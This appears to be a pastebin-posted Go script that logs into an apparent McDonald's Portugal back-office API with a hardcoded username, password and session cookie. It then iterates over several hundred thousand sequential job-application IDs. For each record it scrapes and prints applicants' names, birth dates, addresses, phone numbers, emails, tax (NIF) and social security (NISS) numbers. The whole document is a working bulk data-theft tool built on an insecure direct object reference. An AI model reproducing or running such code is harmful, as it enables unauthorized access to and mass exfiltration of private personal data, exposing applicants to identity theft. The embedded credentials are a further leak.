Untitled

mail@pastecode.io avatar
unknown
golang
2 years ago
2.3 kB
4
Indexable
package main

import (
	"fmt"
	"log"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"strings"
	"time"

	"github.com/PuerkitoBio/goquery"
)

var numeroRequests = 0
var bolachaGlobal *http.Cookie

func loginAndSetCookies() {
	numeroRequests = 0
	jar, _ := cookiejar.New(nil)

	client := &http.Client{
		Jar: jar,
	}

	loginURL := "https://api.mcdonalds.pt/bo/Account/Login"
	loginData := url.Values{
		"username": {"fullsix"},
		"password": {"PEARL05111115X"},
	}

	req, _ := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))

	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	client.Do(req)
	bolachaGlobal = jar.Cookies(req.URL)[0]
}

func main() {
	loginAndSetCookies()
	for id := 100897; id <= 446899; id++ {
		numeroRequests++
		if numeroRequests == 1500 {
			loginAndSetCookies()
		}

		url := fmt.Sprintf("https://api.mcdonalds.pt/bo/Emprego/Details/%d", id)

		req, err := http.NewRequest("GET", url, nil)
		if err != nil {
			log.Fatal(err)
		}

		req.AddCookie(bolachaGlobal)
		req.AddCookie(&http.Cookie{Name: "ASP.NET_SessionId", Value: "motfvlauopdc0bpzl14dlaqm"})

		client := &http.Client{
			Timeout: 1 * time.Second,
		}
		res, err := client.Do(req)
		if err != nil {
			continue
		}
		defer res.Body.Close()

		fmt.Print(id, ",")
		doc, err := goquery.NewDocumentFromReader(res.Body)
		if err != nil {
			log.Fatal(err)
		}

		doc.Find("tr").Each(func(i int, tr *goquery.Selection) {
			tds := tr.Find("td")
			if tds.Length() == 2 {
				value := tds.Eq(1).Text()
				switch tds.Eq(0).Find("p").Text() {
				case "Nome":
					fmt.Print(value, ",")
				case "DataNascimento":
					fmt.Print(strings.Split(value, " ")[0], ",")
				case "Local Nascimento":
					fmt.Print(strings.Replace(value, ",", " ", -1), ",")
				case "Nacionalidade":
					fmt.Print(value, ",")
				case "Sexo":
					fmt.Print(value, ",")
				case "Morada":
					fmt.Print(strings.Replace(value, ",", " ", -1), ",")
				case "Código Postal":
					fmt.Print(value, ",")
				case "Telefone":
					fmt.Print(value, ",")
				case "Email":
					fmt.Print(value, ",")
				case "NIF":
					fmt.Print(value, ",")
				case "NISS":
					fmt.Print(value, ",")
				}
			}
		})
		fmt.Println()
	}
}